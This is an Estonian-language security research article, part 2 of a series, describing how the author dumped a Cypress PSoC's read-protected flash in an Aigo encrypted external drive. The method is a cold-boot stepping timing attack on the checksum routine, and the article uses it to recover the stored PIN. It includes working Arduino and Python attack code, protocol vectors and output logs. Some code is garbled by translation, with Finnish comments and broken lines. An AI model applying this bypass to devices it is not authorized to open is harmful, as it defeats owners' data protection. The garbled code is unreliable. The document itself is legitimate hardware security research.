TĂ”husate enkrĂŒpteeritud vĂ€list HDD-diskide Aigo vastupidine inseneritehnika ja hĂ€kkimine. Osa 2: Teeme dumpi Cypress PSoC-ist

See on teise ja lĂ”plik osa artiklist, mis kĂ€sitleb vĂ€liste isekodeerivate ketaste hĂ€kkimist. Tuletan meelde, et hiljuti tĂ”i kolleeg mulle kĂ”vaketta Patriot (Aigo) SK8671 ja otsustasin selle pöördprojekteerida. NĂŒĂŒd jagan teiega, mis sellest vĂ€lja tuli. Enne edasise lugemist tutvuge kindlasti esimese osaga artiklist.

4. Alustame PSoC sisemise mÀlupanga dump'imisega
5. ISSP-protokoll
– 5.1. Mis on ISSP
– 5.2. DemĂŒstifitseerimise vektorid
– 5.3. Suhtlemine PSoC-iga
– 5.4. Sisemiste registrite identifitseerimine
– 5.5. Kaitsebitid
6. Esimene (ebaĂ”nnestunud) rĂŒnnak: ROMX
7. Teine rĂŒnnak: kĂŒlmutatud taaskĂ€ivitusega jĂ€lgimine
– 7.1. Teostamine
– 7.2. Tulemuste lugemine
– 7.3. Flash-binaari rekonstrueerimine
– 7.4. Leiame PIN-koodi salvestamise aadressi
– 7.5. Dumpime ploki nr 126
– 7.6. PIN-koodi taastamine
8. Mis edasi?
9. KokkuvÔte

TĂ”husate enkrĂŒpteeritud vĂ€list HDD-diskide Aigo vastupidine inseneritehnika ja hĂ€kkimine. Osa 2: Teeme dumpi Cypress PSoC-ist


4. Alustame PSoC sisemise mÀlupanga dump'imisega

Nii et kÔik viitab sellele (nagu me kindlaks tegime [esimeses osas]()), et PIN-kood on salvestatud PSoC sisemisse mÀllu. SeetÔttu peame lugema neid flash-kihtide. Tööde esiplaan on:

  • kontrollida suhtlemist mikrokontrolleriga;
  • leida viis, kuidas kontrollida, kas see suhtlemine on vĂ€lise lugemise eest kaitstud;
  • leidma viisi kaitse ĂŒmberminekuks.

On kaks kohta, kus tasub otsida toimivat PIN-koodi:

  • sisemine flash-mĂ€lu;
  • SRAM, kus PIN-kood vĂ”ib olla salvestatud, et vĂ”rrelda seda kasutaja sisestatud PIN-koodiga.

Kuna ma jĂ”udsin tulemusele, et sain siiski lugeda PSoC sisemise mĂ€lupanga dump'i – ĂŒletades selle kaitsesĂŒsteemi, kasutades riistvara rĂŒnnakut, kĂŒlmutatud taaskĂ€ivitamise jĂ€lgimist – pĂ€rast ISSP protokolli dokumenteerimata vĂ”imaluste pöördprojekteerimist. See vĂ”imaldas mul otse lugeda toimuva PIN-koodi dump'i.

$ .\/psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

LÔpp-kood:

5. ISSP-protokoll

5.1. Mis on ISSP

Mikrokontrolleriga suhtlemine vÔib tÀhendada erinevaid asju: alates "tootjast tootjale" kuni suhtlemiseni jÀrjestikuse protokolli abil (nÀiteks ICSP Microchip'i PIC-i puhul).

Cypress'il on selle jaoks oma patenteeritud protokoll, mida nimetatakse ISSP (in-system serial programming protocol; sisesĂŒsteemne jĂ€rjestikuse programmimise protokoll), mis on osaliselt kirjeldatud tehnilises spetsifikatsioonis. Patent US7185162 annab samuti teavet. On olemas ka OpenSource analoog nimega HSSP (me kasutame seda natuke hiljem). ISSP töötab jĂ€rgmiselt:

  • taaskĂ€ivita PSoC;
  • vĂ€ljastada maagiline number PSoC jĂ€rjestiku andmesonga; siseneda vĂ€listesse programmeerimisreĆŸiimidesse;
  • saada kĂ€sklusi, mis koosnevad pikkadest bitijadadest, mida nimetatakse 'vektoriteks'.

ISSP dokumentatsioonis on need vektorid mÀÀratud vaid vÀikese hulga kÀskluste jaoks:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (3V ja 5V variandid)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, kus dddddddd=plokk #
  • BULK ERASE
  • PROGRAM-BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, kus DDDDDDDD = andmed vĂ€ljas, aaaaaa = aadress (6 bitti)
  • WRITE-BYTE: 10010aaaaaadddddddd111, kus dddddddd = andmed sees, aaaaaa = aadress (6 bitti)
  • SECURE
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, kus DDDDDDDDDDDDDDDD = andmed vĂ€ljas: seadme kontrollsumma
  • ERASE BLOCK

NĂ€iteks, vektor Initialize-2 jaoks:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

KÔikide vektorite pikkus on sama: 22 bitti. HSSP dokumentatsioonis on mÔningaid lisainformatsioon ISSP kohta: "ISSP-vektor on midagi muud kui bitijada, mis kujutab endast kÀskude kogumit."

5.2. Vektorite deĆĄifreerimine

Selgitame, mis siin toimub. Esialgu eeldasin, et need vektorid esindavad M8C kĂ€skude raw-variante, kuid selle hĂŒpoteesi kontrollimisel avastasin, et opkoodid ei klapi.

Siis googeldasin eespool toodud vektorit ja sattusin sellele uurimusele, kus autor, kuigi ei sĂŒvene detailidesse, annab mĂ”ned kasulikud vihjed: "Iga kĂ€sk algab kolme bitiga, mis vastavad ĂŒhele neljast mnemoonikast (lugeda RAM-ist, kirjutada RAM-i, lugeda registrist, kirjutada registrisse). SeejĂ€rel jĂ€rgnevad 8-bitine aadress ja seejĂ€rel 8 bitti andmeid (lugemised vĂ”i kirjutamised), ja lĂ”puks kolm stopp-bitti."

SeejÀrel suutsin hankida vÀga kasulikku teavet osast "Supervisory ROM (SROM)" tehnilise juhendi. SROM on kÔvakasutatud ROM PSoC-is, mis pakub teenindusfunktsioone (sarnasel pÔhimÔttel nagu Syscall), - kasutajatasemel jooksutatud rakenduste jaoks:

  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Calibrate1

Vektorite nimesid SROM-i funktsioonidega vĂ”rreldes saame siduda erinevad operatsioonid, mida see protokoll toetab, – oodatud SROM-parameetritega. Sellega saame dekodeerida esimesed kolm ISSP-vektorit:

  • 100 => "wrmem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Kuid tÀielikku arusaama sisetöötlusprotsessidest saab vaid otsese suhtlusega PSoC-iga.

5.3. Suhtlemine PSoC-iga

Kuna Dirk Petrautsky on juba portinud Cypress'i HSSP-koodi Arduino peale, kasutasin Arduino Uno, et ĂŒhendada ISSP-liidese klaviatuuriplaadiga.

Pange tĂ€hele, et oma uuringute kĂ€igus muutsin Dirki koodi ĂŒsna palju. Minu modifikatsiooni leiate GitHubist: siin ja vastava Python-skripti, et suhelda Arduinoga, minu hoidlas cypress_psoc_tools.

Niisiis, kasutades Arduino, kasutasin alguses „suhtlemiseks” vaid „ametlikke” vektoreid. Proovisin lugeda sisemist ROM-i, kasutades kĂ€sku VERIFY. Nagu oodata vĂ”is, ei Ă”nnestunud mul seda teha. TĂ”enĂ€oliselt on see tingitud asjaolust, et flash-mĂ€hetes on aktiveeritud lugemisprotectioni bitid.

SeejÀrel lÔin mitu oma lihtsat vektorit mÀlu/registeerimiste kirjutamiseks ja lugemiseks. Pange tÀhele, et saame lugeda kogu SROM-i, isegi kui flash-mÀlus on kaitse!

5.4. Sisetöötlusregisteeride tuvastamine

Vaadates „disassiilitud” vektoreid, avastasin, et seade kasutab dokumenteerimata registreid (0xF8-0xFA), et nĂ€idata M8C-opkoodide, mis tĂ€idetakse otse, ignoreerides kaitset. See vĂ”imaldas mul kĂ€ivitada erinevaid opkoode, nagu „ADD”, „MOV A, X”, „PUSH” vĂ”i „JMP”. Nende kaudu (vaadates nende toimet registritele) suutsin mÀÀrata, millised dokumenteerimata registreid on tegelikult tavalised registrid (A, X, SP ja PC).

Tulemusena nĂ€eb „disassiilitud” kood, mille on genereerinud tööriist HSSP_disas.rb, vĂ€lja selline (selguse huvides lisasin kommentaarid):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # liputa lippide
[DE C0 1C] wrreg SP (f6), 0x00      # liputa SP
[9F 07 5C] wrmem KEY1, 0x3A     # kohustuslik argument SSC jaoks
[9F 20 7C] wrmem KEY2, 0x03     # sarnane
[DE A0 1C] wrreg PCh (f5), 0x00     # liputa PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... kuni 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-viidatud vÀljadele
[DF 26 1C] wrreg opc1 (f9), 0x30        # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID SSC kutse jaoks
[DE 00 DC] wrreg A (f0), 0x06       # "Syscall" number: TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Opcode SSC jaoks, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Dokumenteerimata operatsioon: tÀida vÀline opcode

5.5. Kaitsebitid

NĂŒĂŒd saan ma juba suhelda PSoC-iga, kuid mul pole endiselt usaldusvÀÀrset teavet flash-mĂ€e kaitsebitide kohta. Olin vĂ€ga ĂŒllatunud, et Cypress ei paku seadme kasutajale mingeid vahendeid, et kontrollida, kas kaitse on aktiveeritud. SĂŒvenesin Google'isse, et tĂ€ielikult mĂ”ista, et Cypress'i poolt pakutud HSSP-kood oli uuendatud pĂ€rast seda, kui Dirk avaldas oma muudatuse. Ja siin see on! Ilmus uus vektor:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # tundmatud argumendid
[9F E0 1C] wrmem 0xFF, 0x00 # sarnane
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # dokumenteerimata syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Kasutades seda vektorit (vt read_security_data psoc.py-s), saame kÔik kaitsebitid SRAM-is 0x80, kus iga kaitstud bloki kohta on kaks bitti.

Tulemus on murettekitav: kĂ”ik on kaitstud „vĂ€liste lugemiste ja kirjutamiste keelamise” reĆŸiimis. SeetĂ”ttu ei saa me mitte ainult flash-mĂ€elt midagi lugeda, vaid ka kirjutada ei saa (nt ROM-dumpi sisestamiseks). Ainus viis kaitse eemaldamiseks on kogu kiibi tĂ€ielik kustutamine. 🙁

6. Esimene (ebaĂ”nnestunud) rĂŒnnak: ROMX

Kuid me saame proovida teha jĂ€rgmist nippi: kuna meil on vĂ”imalus tĂ€ita suvalisi opkoode, miks mitte tĂ€ita ROMX, mis on mĂ”eldud Flash-mĂ€lu lugemiseks? Sellel lĂ€henemisel on ĂŒsna head eduvĂ”imalused. Sest funktsioon ReadBlock, mis loeb andmeid SROM-ilt (mida kasutatakse vektoritega), kontrollib, kas seda kutsutakse ISSP-st. Kuid opkood ROMX-l ei pruugi sellist kontrolli olla. Siin on Python-kood (pĂ€rast mitme abiklassi lisamist C-st kirjutatud Arduino-koodile):

for i in range(0, 8192):
 write_reg(0xF0, i>>8) # A = 0
 write_reg(0xF3, i&0xFF) # X = 0
 exec_opcodes("x28x30x40") # ROMX, HALT, NOP
 byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
 print "x" % ord(byte[0]) # print ROM byte

Kahjuks see kood ei tööta. 🙁 TĂ”si, see töötab, kuid me saame vĂ€ljundis oma opkoode (0x28 0x30 0x40)! Ma ei arva, et seadme vastav funktsionaalsus on kaitsemeede lugemise kaitseks. See tundub pigem inseneritehnilise nippina: vĂ€liste opkoode tĂ€itmisel suunatakse ROM-i buss ajutisse puhver.

7. Teine rĂŒnnak: kĂŒlmutatud taaskĂ€ivitusega jĂ€lgimine

Kuna ROMX nipp ei Ă”nnestunud, hakkasin mĂ”tlema selle nipi teisele variatsioonile – mis on kirjeldatud artiklis „Shedding too much Light on a Microcontroller’s Firmware Protection”.

7.1. Implementatsioon

ISSP dokumentatsioonis on jÀrgmine vektor CHECKSUM-SETUP jaoks:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Siin toimub pÔhimÔtteliselt SROM-funktsiooni 0x07 kutsumine, nagu on dokumentatsioonis nÀidatud (kursiiv minu):

See on kontrollsummade kontrollimise funktsioon. See arvutab 16-bitise kontrollsummad kasutaja mÀÀratud blokknumbritele – ĂŒhes Flash-pangas, alustades nullist. Parameeter BLOCKID kasutatakse ĂŒleantava blokkide arvu edastamiseks, mida kasutatakse kontrollsumma arvutamiseks. VÀÀrtus „1” arvutab kontrollsummat ainult nullbloki jaoks; samas kui „0” toob kaasa kĂ”igi 256 Flash-panga bloki ĂŒldise kontrollsummat. 16-bitine kontrollsumma tagastatakse KEY1 ja KEY2 kaudu. Parameetris KEY1 salvestatakse vĂ€hem kui 8 bitti kontrollsumma ja KEY2 – rohkem kui 8 bitti. Seadmete puhul, millel on mitu flash-panka, kutsutakse kontrollsummat vĂ€lja igaĂŒhe jaoks eraldi. Panga number, millega see töötab, mÀÀratakse registriga FLS_PR1 (seades sinna bit, mis vastab sihtflash-pankale).

Pange tÀhele, et see on kÔige lihtsam kontrollsumma: baitide lihtsalt summeerimine jÀrjekorras; ei ole keerulisi CRC-kiusamisi. Lisaks, teades, et M8C tuumas on registrite kogus vÀga vÀike, oletasin, et kontrollsumma arvutamisel salvestatakse vahevÀÀrtused samadesse muutujaitesse, mis lÔpuks vÀljundisse lÀhevad: KEY1 (0xF8) / KEY2 (0xF9).

Nii et teoorias nĂ€eb minu rĂŒnnak vĂ€lja selline:

  1. Ühendame lĂ€bi ISSP.
  2. KĂ€ivitame kontrollsumma arvutamise, kasutades CHECKSUM-SETUP vektor.
  3. TaaskÀivitage protsessor antud aja T pÀrast.
  4. Loe RAM-i, et saada praegune kontrollsumma C.
  5. Korrake samme 3 ja 4, iga kord natuke suurendades T-d.
  6. Taasta andmed flashilt, lahutades eelmise kontrollsumman C praegusest.

Probleem on aga see, et vektor Initialize-1, mille peame saatma pĂ€rast taaskĂ€ivitamist, ĂŒksteisele kirjutab KEY1 ja KEY2:

1100101000000000000000  # Magic, mis viib PSoC-i programmeerimisreĆŸiimi
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # kontrollsumma kirjutatakse siia
[9F 20 7C] wrmem KEY2, 0x03 # ja siia
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-funktsioon 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

See kood kustutab meie vÀÀrtusliku kontrollsumma, kutsudes vĂ€lja Calibrate1 (SROM-funktsioon 9)
 Kas vĂ”ib-olla suudame lihtsalt, saates maagilise numbri (ĂŒlevaltoodud koodi algusest), siseneda programmeerimisreĆŸiimi ja seejĂ€rel lugeda SRAM-i? Ja jah, see töötab! Arduino kood, mis viib selle rĂŒnnaku ellu, on ĂŒsna lihtne:

case Cmnd_STK_START_CSUM:
 checksum_delay = ((uint32_t)getch())<<24;
 checksum_delay |= ((uint32_t)getch())<<16;
 checksum_delay |= ((uint32_t)getch())< 10000) {
 ms_delay = checksum_delay/1000;
 checksum_delay = checksum_delay00;
 }
 else {
 ms_delay = 0;
 }
 send_checksum_v();
 if(checksum_delay)
 delayMicroseconds(checksum_delay);
 delay(ms_delay);
 start_pmode();

  1. Lugeda checkum_delay.
  2. KĂ€ivitada kontrollsumma arvutamine (send_checksum_v).
  3. Oodata antud ajavahemik; arvestades jÀrgmisi takistusi:
    • ma raiskasin tohutult aega, kuni sain teada, et tegelikult delayMicroseconds funktsioneerib korrektselt ainult viivitustega, mis ei ĂŒleta 16383ÎŒs;
    • ja siis raiskasin sama palju aega, kuni avastasin, et delayMicroseconds, kui sellele sisendiks anda 0, töötab tĂ€iesti valesti!
  4. TaaskĂ€ivita PSoC programmeerimisreĆŸiimis (lihtsalt saadame maagilise numbri, ilma initsialiseerivate vektorite saatmiseta).

LÔplik kood Pythonis:

for delay in range(0, 150000): # viivitus mikrosekunneissa
 for i in range(0, 10): # lukemisen mÀÀrÀ jokaiselle viiveelle
 try:
 reset_psoc(quiet=True) # uudelleenkÀynnistys ja ohjelmointitilaan siirtyminen
 send_vectors() # lÀhettÀÀ alustusvektorit
 ser.write("x85"+struct.pack(">I", delay)) # laske tarkistussumma + kÀynnistÀ uudelleen viiveen jÀlkeen
 res = ser.read(1) # lukee arduino ACK
 except Exception as e:
 print e
 ser.close()
 os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
 ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # avaa sarjaliitÀntÀ
 continue
 print "d X X X" % (delay, # lue RAM-tavut
 read_regb(0xf1),
 read_ramb(0xf8),
 read_ramb(0xf9))

KahesÔnaliselt, mida see kood teeb:

  1. TaaskÀivitab PSoC (ja saadab sellele maagilise numbri).
  2. Saadab tÀielikud initsialiseerimise vektorid.
  3. Kutsutakse esile Arduino funktsioon Cmnd_STK_START_CSUM (0x85), kuhu parameetrina antakse viivitus mikrosekundites.
  4. Loe kontrollsummat (0xF8 ja 0xF9) ja dokumenteerimata registrit 0xF1.

See kood tĂ€idetakse 10 korda ĂŒhe mikrosekundi jooksul. 0xF1 on siin, kuna see oli ainus register, mis muutus kontrollsummat arvutades. VĂ”ib-olla on see mingisugune ajutine muutuja, mida kasutab aritmeetika-loogika seade. Pange tĂ€hele kohmakat nippi, millega ma Arduino taaskĂ€ivitamiseks kasutan picocom'i, kui Arduino enam elu mĂ€rke ei anna (ma ei tea, miks).

7.2. Loe tulemusi

Python-skripti tulemus nÀeb vÀlja selline (lihtsustatud loetavuse huvides):

DELAY F1 F8 F9  # F1 – eelmainitud tundmatu registr
                  # F8 madalam bait kontrollsumma
                  # F9 ĂŒlemine bait kontrollsumma

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # kontrollsumma taastatakse 0-ks
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1. bait: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2. bait: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # mul pole aimugi, mis siin toimub
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Taas E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Hmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # Ah, sain aru! Siin on ĂŒleminek ĂŒlemisse baidi
00063 01 17 01
[...]
00075 CC 17 01  # Nii et, 0x117-0xE7: 0x30

Kuid meil on probleem: kuna me opereerime tegeliku kontrollsummaga, ei muuda nullbait loetud vÀÀrtust. Siiski, kuna kogu arvutamise protseduur (8192 baiti) kestab 0,1478 sekundit (vĂ€ikeste kĂ”rvalekalletega iga kord), mis on umbes 18,04 ”s bait, – saame seda aega kasutada kontrollsummade vÀÀrtuse kontrollimiseks sobivatel hetkedel. Esimeste lĂ€bimiste jaoks loetakse kĂ”ik ĂŒsna lihtsalt, kuna arvutusprotseduuri kestus on alati praktiliselt sama. Kuid selle dumpi lĂ”pp on vĂ€hem tĂ€pne, kuna "vĂ€ikesed ajakĂ”rvalekalded" igaĂŒhe jooksul - summeeruvad ja muutuvad mĂ€rgatavateks:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Need on 10 dumpi iga mikrosekundi viivituse jaoks. Kogu tööaeg, et saada kÔik 8192 baiti mÀlupulgast, on umbes 48 tundi.

7.3. MĂ€lupulga binaarkoodi rekonstrueerimine

Ma pole veel lÔpetanud koodi kirjutamist, mis tÀielikult rekonstrueerib mÀlupulga tarkvara arvestades kÔiki ajakÔrvalekaldeid. Kuid koodi alguse olen juba taastanud. Et veenduda, et olen seda Ôigesti teinud, demonteerisin selle m8cdis abil:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Tundub vÀga usutav!

7.4. Otsime PIN-koodi salvestamise aadressi

NĂŒĂŒd, kui me saame lugeda kontrollsummat Ă”igel ajal, saame hĂ”lpsasti kontrollida, kuidas ja kus see muutub, kui me:

  • sisestame vale PIN-koodi;
  • muudame PIN-koodi.

Alustuseks, et leida ligikaudne salvestamise aadress, tegin 10 ms sammuga kontrollsummade dumpi pĂ€rast ĂŒmberlĂŒlitamist. SeejĂ€rel sisestasin vale PIN-koodi ja tegin sama.

Tulemus ei olnud kĂ”ige meeldivam, kuna muutusi oli palju. LĂ”puks sain siiski kindlaks teha, et kontrollsumma muutus kuskil 120000 ”s ja 140000 ”s viivituse vahel. Kuid seal avastatud "PIN-kood" oli absoluutselt vale – see oli tingitud delayMicroseconds protseduuri artefaktist, mis teeb arusaamatuid asju, kui 0 edastatakse.

SeejĂ€rel, pĂ€rast pea 3-tunnist tööd, mĂ€letasin, et SROM-i sĂŒsteemikĂ”ne CheckSum vĂ”tab sisendina argumendi, mis mÀÀrab kontrollsummade plokkide arvu! Seega saame hĂ”lpsasti lokaliseerida PIN-koodi ja vale proovide arvu salvestamise aadressid – tĂ€psusega 64-baidise ploki kaupa.

Minu esialgsed kÀivitused andsid jÀrgmise tulemuse:

TĂ”husate enkrĂŒpteeritud vĂ€list HDD-diskide Aigo vastupidine inseneritehnika ja hĂ€kkimine. Osa 2: Teeme dumpi Cypress PSoC-ist

SeejÀrel vahetasin PIN-koodi "123456" vastu "1234567" ja sain:

TĂ”husate enkrĂŒpteeritud vĂ€list HDD-diskide Aigo vastupidine inseneritehnika ja hĂ€kkimine. Osa 2: Teeme dumpi Cypress PSoC-ist

Seega nÀib, et PIN-kood ja vale proovide arvu loend on salvestatud plokis nr 126.

7.5. Teeme ploki nr 126 dumpi

Plokk nr 126 peaks asuma kuskil 125x64x18 = 144000 ”s, alates kontrollsummade arvutamise algusest minu tĂ€ielikus dumpis ning see tundub ĂŒsna usutav. SeejĂ€rel, pĂ€rast mitme vale dumpi kĂ€sitsi filtreerimist (ajaliselt „mĂ€rkimisvÀÀrsete kĂ”rvalekallete” tĂ”ttu), sain ma lĂ”puks jĂ€rgmised baitid (145527 ”s viivituses):

TĂ”husate enkrĂŒpteeritud vĂ€list HDD-diskide Aigo vastupidine inseneritehnika ja hĂ€kkimine. Osa 2: Teeme dumpi Cypress PSoC-ist

On on ilmselge, et PIN-kood on salvestatud unencrypted kujul! Need vÀÀrtused ei ole kindlasti ASCII-koodides, kuid nagu selgus, peegeldavad need mÔÔtmisi, mis on saadud kapasitiivse klaviatuuri poolt.

LÔpuks tegin veel paar testi, et leida, kus asub vale sissetoomise arvesti. Siin on tulemused:

TĂ”husate enkrĂŒpteeritud vĂ€list HDD-diskide Aigo vastupidine inseneritehnika ja hĂ€kkimine. Osa 2: Teeme dumpi Cypress PSoC-ist

0xFF – tĂ€hendab "15 katset", ja see vĂ€heneb iga vale katsega.

7.6. PIN-koodi taastamine

Siin on minu kole kood, mis kogub kÔik eelneva kokku:

def dump_pin():
 pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
 last_csum = 0
 pin_bytes = []
 for delay in range(145495, 145719, 16):
 csum = csum_at(delay, 1)
 byte = (csum-last_csum)&0xFF
 print "d x (x) => x" % (delay, csum, last_csum, byte)
 pin_bytes.append(byte)
 last_csum = csum
 print "PIN: ",
 for i in range(0, len(pin_bytes)):
 if pin_bytes[i] in pin_map:
 print pin_map[pin_bytes[i]],
 print

Siin on selle tÀitmise tulemus:

$ .\/psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

HÀsti! Töötab!

Pange tĂ€hele, et viivituste vÀÀrtused, mida ma kasutasin, on tĂ”enĂ€oliselt kehtivad ainult konkreetse PSoC-i jaoks – selle, millega mina tegelesin.

8. Mis edasi?

Nii et teeme kokkuvÔtte PSoC-i poolelt, meie Aigo salvesti kontekstis:

  • me saame lugeda SRAM-i, isegi kui see on kaitstud lugemise eest;
  • me saame lĂ€bida lugemise kaitse, tehes "kĂŒlma taaskĂ€ivitamise jĂ€lgimisrĂŒnnaku" ja otse PIN-koodi lugemise.

Kuid meie rĂŒnnakul on mĂ”ned puudujÀÀgid – sĂŒnkroniseerimise probleemide tĂ”ttu. Seda saaks parandada jĂ€rgmiselt:

  • kirjutada utiliit, et Ă”igesti dekodeerida vĂ€ljunddati, mis on saadud kĂŒlma taaskĂ€ivitamise jĂ€lgimisrĂŒnnakust;
  • kasutada FPGA-lisa, et luua tĂ€psemaid ajaviivitusi (vĂ”i kasutada Arduino riistvara taimerit);
  • proovida veel ĂŒks rĂŒnnak: sisestada teadlikult vale PIN-kood, taaskĂ€ivitada ja RAM-i kopeerida, lootes, et Ă”ige PIN-kood jÀÀb RAM-i alles, et seda vĂ”rrelda. Kuid Arduino puhul pole see sugugi lihtne, sest Arduino signaali tase on 5 volti, samas kui uuritav plaat töötab 3,3 volti signaalidega.

Üks huvitav asi, mida proovida – mĂ€ngida pingetasemega, et ringkĂ€ik teha lugemise kaitse ĂŒmber. Kui selline lĂ€henemine töötaks, vĂ”iksime saada tĂ€iesti tĂ€pseid andmeid mĂ€lupulgalt, selle asemel, et usalduda kontrollsummade lugemisse ebatĂ€psete ajaviivitustega.

Kuna SROM ilmselt loeb kaitse bite sĂŒsteemiĂŒhenduse kaudu ReadBlock, vĂ”iksime teha sama, kirjeldatud mida tegi Dmitri Nedospasov oma blogis – taastus Chris Gerlinski rĂŒnnaku kordamine, mille ta kuulutas vĂ€lja konverentsil «REcon BrĂŒsselis 2017».

Veel ĂŒks lĂ”bus asi, mida teha vĂ”iks – mikroskeemi korpusest maha lihvida: et vĂ”tta SRAM dump, avastada dokumenteerimata sĂŒsteemi kĂ”nesid ja haavatavusi.

9. KokkuvÔte

Nii et selle seadme kaitse jĂ€tab soovida, kuna selle PIN-koodi salvestamiseks kasutatakse tavalist (mitte «kĂ”venenud») mikrokontrollerit
 Pluss ma pole veel vaadanud (kuni praeguseni), kuidas selle seadmega andmete krĂŒpteerimisega lood on!

